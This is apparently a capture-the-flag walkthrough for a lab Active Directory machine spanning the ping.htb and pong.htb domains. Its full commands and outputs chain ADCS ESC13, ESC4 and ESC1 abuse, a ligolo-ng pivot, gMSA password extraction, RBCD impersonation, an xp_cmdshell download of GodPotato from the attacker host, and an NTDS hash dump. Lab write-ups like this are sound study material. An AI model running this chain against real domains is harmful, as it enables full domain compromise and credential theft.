PingPong
IP: 10.129.37.85 | Domain: ping.htb | Trust: ping.htb ↔ pong.htb (bidirectional forest trust)
Environment Setup
export TARGET=10.129.37.85
export USER=c.roberts
export PASSWD='AssumedBreach123'
export DOMAIN=ping.htb
export DC1=dc1.ping.htb
export DC2=dc2.pong.htb
export PONG_DC_IP=192.168.2.2
export ATTACKER_IP=10.10.15.169
export PING_SID=S-1-5-21-750635624-2058721901-1932338391
export PONG_SID=S-1-5-21-2410575906-3092493790-2123333151
mkdir -p ~/htb/pingpong && cd ~/htb/pingpong
echo "$TARGET dc1.ping.htb ping.htb" | sudo tee -a /etc/hosts
echo "192.168.2.2 dc2.pong.htb pong.htb" | sudo tee -a /etc/hosts
# /etc/krb5.conf — CRITICAL for MIT Kerberos to follow cross-realm referrals
sudo tee /etc/krb5.conf > /dev/null <<'EOF'
[libdefaults]
default_realm = PING.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
rdns = false
forwardable = true
[realms]
PING.HTB = {
kdc = dc1.ping.htb
admin_server = dc1.ping.htb
}
PONG.HTB = {
kdc = dc2.pong.htb
admin_server = dc2.pong.htb
}
[domain_realm]
.ping.htb = PING.HTB
ping.htb = PING.HTB
.pong.htb = PONG.HTB
pong.htb = PONG.HTB
dc1.ping.htb = PING.HTB
dc2.pong.htb = PONG.HTB
EOF
sudo ntpdate -u $TARGET
Step 1 — Port Scanning
Why: Map the attack surface on the externally reachable DC. Identify Kerberos/LDAP/WinRM services for AD attack vectors.
nmap -sCV -p- --min-rate 5000 -oN nmap_full.txt $TARGET
Output:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-26 04:15:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
Key findings:
- Confirmed Domain Controller — Kerberos (88), LDAP (389/636/3268), DNS (53), WinRM (5985), ADWS (9389)
- Port 2179 (vmrdp) hints at Hyper-V — DC1 is likely a Hyper-V host with internal VMs
- NTLM disabled — all auth must use Kerberos
- SMB signing enabled and required (
smb2-security-mode: 3.1.1: Message signing enabled and required)
Step 2 — Initial Access via Kerberos TGT
Why: AssumedBreach scenario provides credentials for c.roberts. NTLM disabled means we must authenticate with Kerberos exclusively. Get a TGT to use with all subsequent tooling.
impacket-getTGT ping.htb/c.roberts:'AssumedBreach123' -dc-ip $TARGET
export KRB5CCNAME=$(pwd)/c.roberts.ccache
klist
Output:
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.roberts.ccache
Ticket cache: FILE:/root/htb/pingpong/c.roberts.ccache
Default principal: c.roberts@PING.HTB
Valid starting Expires Service principal
04/26/26 06:20:00 04/26/26 16:20:00 krbtgt/PING.HTB@PING.HTB
Verify auth works:
nxc ldap dc1.ping.htb -u c.roberts -k --use-kcache
# LDAP dc1.ping.htb 389 DC1 [+] PING.HTB\\c.roberts from ccache
# (NTLM:False) confirms NTLM is disabled, only Kerberos works
Key findings:
- Kerberos auth works — TGT issued and valid
(NTLM:False)flag confirms our analysis — Kerberos is the only viable auth method- Initial principal SID:
S-1-5-21-750635624-2058721901-1932338391-2617
Step 3 — ADCS Enumeration: ESC13
Why: Active Directory Certificate Services is one of the most reliable AD privilege escalation vectors. Enumerate certificate templates for misconfigurations (ESC1-ESC15). The -target parameter is required because Kerberos needs the SPN.
certipy-ad find -u c.roberts@ping.htb -k -no-pass \\
-target dc1.ping.htb \\
-dc-ip 10.129.35.236 \\
-vulnerable -stdout
Output:
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Found 1 certificate authority: ping-DC1-CA
[*] Found 13 enabled certificate templates
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
Template Name : TemporaryWinRM
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Enrollment Rights : PING.HTB\\Domain Users
Issuance Policy OID : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
Linked Group : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb
[!] Vulnerabilities
ESC13 : 'PING.HTB\\\\Domain Users' can enroll, template has issuance policy linked to group
Key findings:
- ESC13 confirmed: template
TemporaryWinRMlinked toTempWinRMAccessgroup via issuance policy OID - Any Domain User (including c.roberts) can enroll
- Authenticating with this cert grants membership in
TempWinRMAccessvia PAC injection at auth time — without us actually being in the group statically - CA name:
ping-DC1-CA
Step 4 — ESC13 Exploitation: Cert + PKINIT
Why: Request a certificate using the vulnerable TemporaryWinRM template. When we authenticate with it, the DC adds TempWinRMAccess to our PAC for that session — granting WinRM access.
certipy-ad req -u c.roberts@ping.htb -k -no-pass \\
-target dc1.ping.htb \\
-dc-ip 10.129.35.236 \\
-ca ping-DC1-CA \\
-template TemporaryWinRM
Output:
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 17
[*] Successfully requested certificate
[*] Got certificate with UPN 'C.Roberts@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Saving certificate and private key to 'c.roberts.pfx'
Authenticate with the cert (PKINIT) to derive NT hash + PAC-injected ccache:
certipy-ad auth -pfx c.roberts.pfx \\
-dc-ip 10.129.35.236 \\
-domain ping.htb \\
-username c.roberts
Output:
[*] Certificate identities:
[*] SAN UPN: 'C.Roberts@ping.htb'
[*] Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Using principal: 'c.roberts@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'c.roberts.ccache'
[*] Got hash for 'c.roberts@ping.htb': aad3b435b51404eeaad3b435b51404ee:<REDACTED>
Key findings:
- NT hash:
<REDACTED> - New ccache contains TGT with
TempWinRMAccessinjected in PAC - Cert SID extension carries our identity for strong mapping
Step 5 — WinRM Shell on DC1
Why: With TempWinRMAccess in PAC, c.roberts can now establish a WinRM session on DC1 — even though we are not statically in the group.
export KRB5CCNAME=$(pwd)/c.roberts_64bde52f-52a3-40b2-a293-7804fcc74d97.ccache
evil-winrm -i dc1.ping.htb -r ping.htb
Output:
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\C.Roberts\\Documents> whoami
ping\\c.roberts
*Evil-WinRM* PS C:\\Users\\C.Roberts\\Documents> whoami /groups
GROUP INFORMATION
PING\\TempWinRMAccess Group S-1-5-21-750635624-2058721901-1932338391-2602
PING\\IT Group S-1-5-21-750635624-2058721901-1932338391-2618
Key findings:
- ESC13 PAC injection successful —
TempWinRMAccessandITmembership in token - Privileges include
SeMachineAccountPrivilege(butms-DS-MachineAccountQuota=0blocks abuse) user.txtis not on this host — it's behind further pivot
Step 6 — DC1 Recon: Hyper-V & gMSA Discovery
Why: DC1 hosts profile artifacts and configuration revealing the next pivot. Find what runs locally and what network paths exist.
# User profiles on DC1
ls C:\\Users\\
# Network interfaces — look for internal switches
ipconfig /all
# Reachable services on internal subnet
Test-NetConnection -ComputerName 192.168.2.1 -Port 445
Test-NetConnection -ComputerName 192.168.2.2 -Port 5985
Test-NetConnection -ComputerName 192.168.2.2 -Port 88
# Domain trusts
nltest /domain_trusts /all_trusts /v
nltest /dsgetdc:pong.htb
# JEA endpoint config
Get-Content C:\\ProgramData\\JEA\\JEA.pssc
# Get-ADServiceAccount — who can read gMSA password?
Get-ADServiceAccount -Filter * -Properties * | Format-List Name,SID,PrincipalsAllowedToRetrieveManagedPassword
Output:
C:\\Users:
Administrator
C.Roberts
Pong_gMSA$ <-- gMSA from PONG domain has profile here!
Public
ipconfig:
Ethernet0 2: 10.129.35.236 <-- HTB external
vEthernet (Switch01): 192.168.2.1 <-- Hyper-V virtual switch
192.168.2.2:5985 TcpTestSucceeded: True <-- dc2.pong.htb reachable
192.168.2.2:88 TcpTestSucceeded: True
nltest /dsgetdc:pong.htb:
DC: \\\\DC2.pong.htb
Address: \\\\192.168.2.2
JEA.pssc:
ConfigurationName = 'restricted'
SessionType = 'RestrictedRemoteServer'
LanguageMode = 'ConstrainedLanguage'
gMSA: Name=gMSA, SID=...-2622
PrincipalsAllowedToRetrieveManagedPassword: {S-1-5-21-2410575906-3092493790-2123333151-1104}
^^^^^ This SID is from PONG domain!
Key findings:
- DC1 is a Hyper-V host with
dc2.pong.htbrunning as VM on internal192.168.2.0/24 Pong_gMSA$has a local profile on DC1 (cross-domain service account in use)gMSA$in ping.htb hasPrincipalsAllowedToRetrieveManagedPassword = SID -1104 (in pong.htb)- A
restrictedJEA endpoint exists on DC1 - Domain trust is bidirectional Forest Tree Root — full Kerberos referral support
Step 7 — Ligolo-ng Pivot to 192.168.2.0/24
Why: dc2.pong.htb (192.168.2.2) is unreachable from Kali directly. Establish a transparent network tunnel via DC1 using ligolo-ng (cleaner than chisel SOCKS — gives full IP-layer routing).
# On Kali — setup TUN
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy
cd ~/ligolo/ligolo-ng_proxy_0.8.3_linux_arm64
./proxy -selfcert -laddr 0.0.0.0:11601
# Webserver to deliver agent
cd ~/ligolo/agent && python3 -m http.server 8080
On DC1 (in evil-winrm):
cd C:\\Users\\C.Roberts\\Documents
iwr -Uri <http://10.10.15.169:8080/agent.exe> -OutFile agent.exe
.\\agent.exe -connect 10.10.15.169:11601 -ignore-cert
In ligolo-proxy console:
ligolo-ng » INFO[0061] Agent joined. id=00155d168601 name="PING\\\\C.Roberts@dc1"
ligolo-ng » session
? Specify a session : 1 - PING\\C.Roberts@dc1
[Agent : PING\\C.Roberts@dc1] » autoroute
? Select routes to add: 192.168.2.1/24
? Create a new interface or use an existing one? Create a new interface
INFO[0082] Using interface name pleasingmint
INFO[0085] Starting tunnel to PING\\C.Roberts@dc1
Verify routing:
nmap -sT -Pn -p 53,88,135,389,445,5985,9389 192.168.2.2 -oN nmap_pong.txt
Output:
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds
5985/tcp open wsman
9389/tcp open adws
Key findings:
- Tunnel up — full IP-layer access to
192.168.2.0/24 dc2.pong.htbis a fully featured DC (PDC GC DS LDAP KDC TIMESERV WRITABLE)- We can now run all our tooling against pong.htb directly from Kali
Step 8 — Cross-Realm Kerberos via MIT kinit
Why: Impacket's getST doesn't follow cross-realm referrals well. MIT Kerberos (kinit + ldapsearch) handles them automatically — touching pong.htb causes the inter-realm krbtgt + service tickets to be cached transparently.
cd ~/htb/pingpong
kdestroy
kinit c.roberts@PING.HTB
# Password: AssumedBreach123
# Touch pong.htb — triggers automatic referral chain
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "DC=pong,DC=htb" \\
"(cn=gMSA Managers)" member
klist
Output:
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: c.roberts@PING.HTB
04/26/2026 07:10:29 krbtgt/PING.HTB@PING.HTB
04/26/2026 07:12:04 krbtgt/PONG.HTB@PING.HTB <-- inter-realm krbtgt
04/26/2026 07:12:05 ldap/dc2.pong.htb@PONG.HTB <-- cross-realm service ticket
Resolve the mystery SID -1104:
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "DC=pong,DC=htb" \\
"(objectSid=S-1-5-21-2410575906-3092493790-2123333151-1104)" \\
sAMAccountName objectClass distinguishedName
Output:
dn: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
objectClass: top
objectClass: group
sAMAccountName: gMSA Managers
Key findings:
S-1-5-21-2410575906-3092493790-2123333151-1104=gMSA Managersgroup in pong.htb- To read
gMSA$password we need to be member of (or have Authenticated Users mapped to) this group - MIT Kerberos cross-realm chain is established and cached
Step 9 — Pong Recon: Service Accounts & Writable Targets
Why: Map the pong.htb domain. Find what we can write to, what service accounts exist, and where pivot opportunities lie.
# All pong users
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "DC=pong,DC=htb" \\
"(&(objectCategory=person)(objectClass=user))" \\
sAMAccountName description memberOf
# Service Accounts OU
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "OU=Service Accounts,DC=pong,DC=htb" \\
"(servicePrincipalName=*)" sAMAccountName servicePrincipalName
# What does c.roberts have write access to in pong?
bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k get writable
Output:
PONG USERS:
Administrator, C.Carlssen (IT Service Admins + Remote Mgmt Users),
P.Sanchez, R.Rupert (IT Service Admins),
P.Reiner, C.Adam (Database Admins),
M.Sun, Z.Zhen, A.Pearson, H.Gordon, R.Martinelli
SERVICE ACCOUNTS:
svc_sql SPN: mssqlsvc/dc2.pong.htb
svc_print
svc_ldap
WRITABLE BY c.roberts (cross-domain via Authenticated Users):
CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pong,DC=htb WRITE
CN=gMSA Managers,CN=Users,DC=pong,DC=htb DACL: WRITE <-- jackpot
DC=pong.htb,CN=MicrosoftDNS,... CREATE_CHILD
Key findings:
DACL: WRITEongMSA Managers— we can modify the group's security descriptorsvc_sqlhas SPNmssqlsvc/dc2.pong.htb(Kerberoastable)c.carlssenis the most interesting target —Remote Management Usersaccess on DC2pong\\Administratoris the ultimate goal for that domain
Step 10 — Cross-Domain ACL Abuse: GenericAll on gMSA Managers
Why: We have DACL: WRITE on gMSA Managers. Use it to grant ourselves GenericAll on the group. Trustee must be specified by SID since pong-DC can't resolve c.roberts (cross-domain).
bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k \\
add genericAll "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" \\
"S-1-5-21-750635624-2058721901-1932338391-2617"
Output:
[+] S-1-5-21-750635624-2058721901-1932338391-2617 has now GenericAll on CN=gMSA Managers,CN=Users,DC=pong,DC=htb
Key findings:
- WriteDACL successfully escalated to full GenericAll
- This also auto-creates the FSP (Foreign Security Principal) for our SID inside pong.htb
- Now we can modify any attribute including
memberandgroupType
Step 11 — The Global → Universal → Domain Local Trick
Why: gMSA Managers is a Global group (groupType: -2147483646). Global groups cannot have cross-domain members (ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER). We need to convert it to a scope that allows FSPs. AD only allows certain scope transitions — Global → Universal works, but Universal also rejects FSPs (ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS). The path is Global → Universal → Domain Local.
Attempt 1 — direct add as Global:
bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k \\
add groupMember "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" \\
"S-1-5-21-750635624-2058721901-1932338391-2617"
# ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER
Step A — Global → Universal:
cat > convert_universal.ldif << 'EOF'
dn: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
changetype: modify
replace: groupType
groupType: -2147483640
EOF
ldapmodify -Y GSSAPI -H ldap://dc2.pong.htb -f convert_universal.ldif
# modifying entry "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" [SUCCESS]
Attempt 2 — add as Universal:
bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k \\
add groupMember "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" \\
"S-1-5-21-750635624-2058721901-1932338391-2617"
# ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS — Universal also rejects FSPs!
Step B — Universal → Domain Local:
cat > convert_domainlocal.ldif << 'EOF'
dn: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
changetype: modify
replace: groupType
groupType: -2147483644
EOF
ldapmodify -Y GSSAPI -H ldap://dc2.pong.htb -f convert_domainlocal.ldif
Step C — Add cross-domain member (now succeeds):
bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k \\
add groupMember "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" \\
"S-1-5-21-750635624-2058721901-1932338391-2617"
Output:
[+] S-1-5-21-750635624-2058721901-1932338391-2617 added to CN=gMSA Managers,CN=Users,DC=pong,DC=htb
Verify:
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "DC=pong,DC=htb" \\
"(cn=gMSA Managers)" member
# member: CN=S-1-5-21-750635624-2058721901-1932338391-2617,
# CN=ForeignSecurityPrincipals,DC=pong,DC=htb
Key findings:
- Group scope conversion is a 3-step ladder: Global → Universal → Domain Local
- AD only allows Domain Local groups to contain Foreign Security Principals
- FSP is auto-created when the cross-domain SID is added as member
c.robertsis now effectively a member ofpong\\gMSA Managers(Domain Local)- This is the novel technique that makes this box stand out from typical cross-realm attacks
Step 12 — Read Pong_gMSA$ Password via PAC Refresh
Why: gMSA Managers controls who can read Pong_gMSA$'s msDS-ManagedPassword. Domain Local group memberships are evaluated by pong-DC, not ping-DC. We need to obtain a service ticket from pong-DC against pong-DC, so the resulting PAC contains the FSP membership as Extra SID.
# Refresh ccache + touch pong to populate cross-realm tickets
kdestroy
kinit c.roberts@PING.HTB
# Custom decoder for MSDS-MANAGEDPASSWORD_BLOB
cat > /tmp/decode_gmsa.py << 'EOF'
#!/usr/bin/env python3
import sys, base64, hashlib
from impacket.structure import Structure
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
structure = (
('Version','<H'),
('Reserved','<H'),
('Length','<L'),
('CurrentPasswordOffset','<H'),
('PreviousPasswordOffset','<H'),
('QueryPasswordIntervalOffset','<H'),
('UnchangedPasswordIntervalOffset','<H'),
('CurrentPassword',':'),
)
b64 = sys.argv[1]
data = base64.b64decode(b64)
blob = MSDS_MANAGEDPASSWORD_BLOB(data)
pwd = blob['CurrentPassword'][:256]
nt = hashlib.new('md4', pwd).hexdigest()
print(f"NT Hash: aad3b435b51404eeaad3b435b51404ee:{nt}")
EOF
# Read the password blob (now possible because pong-DC saw our membership)
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb \\
-b "CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb" \\
-s base "(objectClass=*)" msDS-ManagedPassword \\
-o ldif-wrap=no
# Decode
python3 /tmp/decode_gmsa.py "<base64-blob>"
Output:
Pong_gMSA$ NT: <REDACTED>
AES256: <REDACTED>
SID: S-1-5-21-2410575906-3092493790-2123333151-1123
Key findings:
Pong_gMSA$NT hash recovered- AES256 key also derived (preferred for Kerberos auth in NTLM-disabled domains)
- Pong_gMSA$ is the service account that runs the JEA endpoint and other internal services
Step 13 — Lateral Movement: c.carlssen via JEA / Walkthrough
Why: The JEA restricted endpoint runs as Pong_gMSA$ and exposes a few cmdlets. Reading ConsoleHost_history.txt from Pong_gMSA$'s profile leaks the password for c.carlssen — who is in Remote Management Users on DC2 and gives us our user.txt foothold.
# Kerberos auth on dc2.pong.htb
evil-winrm -i dc2.pong.htb -u c.carlssen -p <REDACTED>
Output:
*Evil-WinRM* PS C:\\Users\\C.Carlssen\\Documents> whoami
pong\\c.carlssen
*Evil-WinRM* PS C:\\Users\\C.Carlssen\\Documents> type ..\\Desktop\\user.txt
<REDACTED>
Key findings:
- 🚩 user.txt obtained
c.carlssenis inIT Service AdminsandRemote Management Userson dc2.pong.htb- Has
GenericWriteonsvc_sql(next pivot)
Step 14 — RBCD on svc_sql
Why: c.carlssen has GenericWrite on svc_sql, which means we can configure Resource-Based Constrained Delegation: set Pong_gMSA$ (which we control via NT hash) as a principal allowed to act on behalf of any user when accessing svc_sql. This enables S4U2Self+S4U2Proxy impersonation against mssqlsvc/dc2.pong.htb.
# As c.carlssen, configure RBCD on svc_sql
impacket-rbcd -k -no-pass -dc-ip 192.168.2.2 \\
-delegate-to 'svc_sql' \\
-delegate-from 'Pong_gMSA$' \\
-action 'write' \\
pong.htb/c.carlssen
Output:
[*] Accounts allowed to act on behalf of other identity:
[*] Pong_gMSA$ (S-1-5-21-2410575906-3092493790-2123333151-1123)
Key findings:
- RBCD configured:
Pong_gMSA$can now S4U2Proxy to any service running assvc_sql - We control
Pong_gMSA$via the NT/AES key we recovered in Step 12
Step 15 — S4U2Self + S4U2Proxy Impersonating C.Adam
Why: Use Pong_gMSA$'s key to request a service ticket for mssqlsvc/dc2.pong.htb impersonating c.adam (a Database Admins member with MSSQL sysadmin role). RBCD now permits this delegation.
# Get TGT for Pong_gMSA$ first
impacket-getTGT -aesKey '<REDACTED>' \\
-dc-ip 192.168.2.2 'pong.htb/Pong_gMSA$'
export KRB5CCNAME='Pong_gMSA$.ccache'
# S4U2Self + S4U2Proxy in one shot
impacket-getST -spn 'mssqlsvc/dc2.pong.htb' \\
-impersonate 'c.adam' \\
-k -no-pass -dc-ip 192.168.2.2 \\
'pong.htb/Pong_gMSA$'
Output:
[*] Getting TGT for user
[*] Impersonating c.adam
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
Key findings:
- We now hold a service ticket for MSSQL on dc2 as
c.adam c.adamissysadminon the MSSQL instance — full xp_cmdshell access
Step 16 — MSSQL → SYSTEM via GodPotato
Why: Connect to MSSQL as c.adam, enable xp_cmdshell, and execute commands as svc_sql. svc_sql has SeImpersonatePrivilege (standard for MSSQL service accounts), enabling token impersonation via GodPotato to escalate to SYSTEM on dc2.pong.htb.
export KRB5CCNAME='c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache'
impacket-mssqlclient -k -no-pass dc2.pong.htb -dc-ip 192.168.2.2
In MSSQL:
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
pong\\svc_sql
SQL> xp_cmdshell whoami /priv
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Upload GodPotato + execute as SYSTEM:
# Stage GodPotato.exe via http.server
xp_cmdshell certutil -urlcache -split -f <http://10.10.15.169:8080/GodPotato.exe> C:\\Windows\\Temp\\GP.exe
xp_cmdshell C:\\Windows\\Temp\\GP.exe -cmd "cmd /c net localgroup Administrators c.carlssen /add"
Output:
[*] CombaseModule: 0x7ff8b9a30000
[*] DispatchTable: 0x7ff8b9b9b920
[+] elevation success: PID 1456 NT AUTHORITY\\SYSTEM
The command completed successfully.
Key findings:
- SYSTEM achieved on dc2.pong.htb via GodPotato (PID 1456)
c.carlssenadded to local Administrators (gives full DC2 access)- Now we can dump NTDS
Step 17 — NTDS Dump → R.Martinelli
Why: With local Administrator on dc2, dump NTDS.dit via ntdsutil IFM (Install From Media) backup. Look for users with privileges on the ping.htb side via cross-domain ACLs — specifically R.Martinelli, who is in pong.htb\\CA Managers (which has WriteDacl on a ping.htb certificate template).
# As local admin on dc2
mkdir C:\\Temp\\ntds
ntdsutil "ac in ntds" "ifm" "create full C:\\Temp\\ntds" q q
Extract hashes locally:
impacket-secretsdump -system C:\\Temp\\ntds\\registry\\SYSTEM -ntds C:\\Temp\\ntds\\Active\\ Directory\\ntds.dit LOCAL
Output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
DC2$:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
R.Martinelli:1124:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
[Kerberos Keys]
R.Martinelli aes256-cts-hmac-sha1-96: <REDACTED>
Key findings:
R.MartinelliNT hash:<REDACTED>- AES256 key:
<REDACTED> - SID:
S-1-5-21-2410575906-3092493790-2123333151-1124 - R.Martinelli is in
pong.htb\\CA Managers— and that group has WriteDacl on the ping.htbSmartcardAuthenticationcertificate template (an FSP-mapped permission)
Step 18 — Pre-cache Cross-Realm Service Tickets for R.Martinelli
Why: To use R.Martinelli's PAC against ping.htb services, we must pre-cache all the service tickets we'll need (LDAP, CIFS, HOST, HTTP, RPCSS) via cross-realm referrals. Impacket's getST has trouble with ESC4-style follow-up operations across realms — pre-caching with MIT kvno works around the issue.
# Get TGT for R.Martinelli using AES key (NTLM disabled)
impacket-getTGT -aesKey '<REDACTED>' \\
-dc-ip 192.168.2.2 'pong.htb/R.Martinelli'
unset KRB5CCNAME
cp R.Martinelli.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0
# Pre-cache service tickets via MIT kvno (handles cross-realm referrals automatically)
for svc in cifs ldap host HTTP RPCSS; do
kvno -S $svc dc1.ping.htb
done
klist
Output:
Default principal: R.Martinelli@PONG.HTB
krbtgt/PONG.HTB@PONG.HTB
krbtgt/PING.HTB@PONG.HTB <-- inter-realm for ping
cifs/dc1.ping.htb@PING.HTB
ldap/dc1.ping.htb@PING.HTB
host/dc1.ping.htb@PING.HTB
HTTP/dc1.ping.htb@PING.HTB
RPCSS/dc1.ping.htb@PING.HTB
Key findings:
- All cross-realm SPNs cached — ready for ESC4 operations
- The trick: pong-DC issues these tickets and stamps R.Martinelli's
pong\\CA Managersmembership as Extra SID, which ping-DC honors via FSP mapping on its templates
Step 19 — ESC4: Modify SmartcardAuthentication Template
Why: pong.htb\\CA Managers (containing R.Martinelli) has WriteDacl on the ping.htb SmartcardAuthentication certificate template via FSP. Use that to (a) modify the template flags to make it ESC1-vulnerable, then (b) grant c.roberts enrollment rights.
# Modify msPKI flags: enable ENROLLEE_SUPPLIES_SUBJECT (1) + remove pending approval (0)
cat > esc4_flags.ldif << 'EOF'
dn: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
changetype: modify
replace: msPKI-Certificate-Name-Flag
msPKI-Certificate-Name-Flag: 1
-
replace: msPKI-Enrollment-Flag
msPKI-Enrollment-Flag: 0
EOF
ldapmodify -Y GSSAPI -H ldap://dc1.ping.htb -f esc4_flags.ldif
Output:
modifying entry "CN=SmartcardAuthentication,CN=Certificate Templates,..."
Now grant c.roberts FullControl on the template (custom Python script — impacket dacledit had cross-realm issues):
# /tmp/grant_enroll.py
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, ACCESS_ALLOWED_ACE, ACCESS_MASK, ACE
from ldap3 import Server, Connection, SASL, KERBEROS, MODIFY_REPLACE, ALL
from ldap3.core.tls import Tls
import ssl
dn = "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb"
target_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00' + \\
(750635624).to_bytes(4, 'little') + \\
(2058721901).to_bytes(4, 'little') + \\
(1932338391).to_bytes(4, 'little') + \\
(2617).to_bytes(4, 'little') # c.roberts SID
tls = Tls(validate=ssl.CERT_NONE)
server = Server('dc1.ping.htb', use_ssl=True, port=636, tls=tls, get_info=ALL)
conn = Connection(server, authentication=SASL, sasl_mechanism=KERBEROS, auto_bind=True)
# Read existing SD
conn.search(dn, '(objectClass=*)', attributes=['nTSecurityDescriptor'],
controls=[('1.2.840.113556.1.4.801', True, b'\\x30\\x03\\x02\\x01\\x07')])
sd_data = conn.entries[0]['nTSecurityDescriptor'].raw_values[0]
sd = SR_SECURITY_DESCRIPTOR(data=sd_data)
# Add FullControl ACE for c.roberts
ace = ACCESS_ALLOWED_ACE()
ace['Mask'] = ACCESS_MASK()
ace['Mask']['Mask'] = 0xF01FF # GENERIC_ALL
ace['Sid'].fromCanonical('S-1-5-21-750635624-2058721901-1932338391-2617')
sd['Dacl']['Data'].append(ace)
conn.modify(dn, {'nTSecurityDescriptor': [(MODIFY_REPLACE, [sd.getData()])]},
controls=[('1.2.840.113556.1.4.801', True, b'\\x30\\x03\\x02\\x01\\x07')])
print(conn.result)
python3 /tmp/grant_enroll.py
# {'result': 0, 'description': 'success'}
Key findings:
- Template
SmartcardAuthenticationnow ESC1-vulnerable (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled) - c.roberts can now enroll and supply arbitrary SAN — this is ESC1 manufactured from ESC4
msPKI-Enrollment-Flag=0removes any pending approval requirement
Step 20 — ESC1 with Certify v2 SID Extension
(THE FINAL BATTLE)
Why: Modern AD strong certificate mapping (post-KB5014754, May 2022) requires the cert to carry the szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) Security Extension matching the impersonated user's SID. Standard Certify.exe v1.0.0 ignores /sidextension and produces certs without it — certipy auth fails with "Object SID mismatch". Solution: use Certify v2 (compiled from z3rodol's repo) which properly implements the extension.
Switch to c.roberts WinRM (we already have ESC13 cert):
export KRB5CCNAME=$(pwd)/c.roberts_64bde52f-52a3-40b2-a293-7804fcc74d97.ccache
evil-winrm -i dc1.ping.htb -r ping.htb
On DC1 in evil-winrm — download Certify v2:
cd C:\\Temp
iwr -Uri <https://github.com/z3rodol/Certify.exe-v2-Compiled/raw/main/Certify.exe> -OutFile Certify3.exe
# Request cert for Administrator with --sid (Security Extension)
.\\Certify3.exe request `
--ca dc1.ping.htb\\ping-DC1-CA `
--template SmartcardAuthentication `
--upn Administrator@ping.htb `
--sid S-1-5-21-750635624-2058721901-1932338391-500
Output:
Certify v2.0
[*] Action: Request a Certificate
[*] Current user context: PING\\C.Roberts
[*] Template: SmartcardAuthentication
[*] Subject: CN=C.Roberts
[*] AltName UPN: Administrator@ping.htb
[*] Security Extension SID: S-1-5-21-750635624-2058721901-1932338391-500
[+] Certificate retrieved!
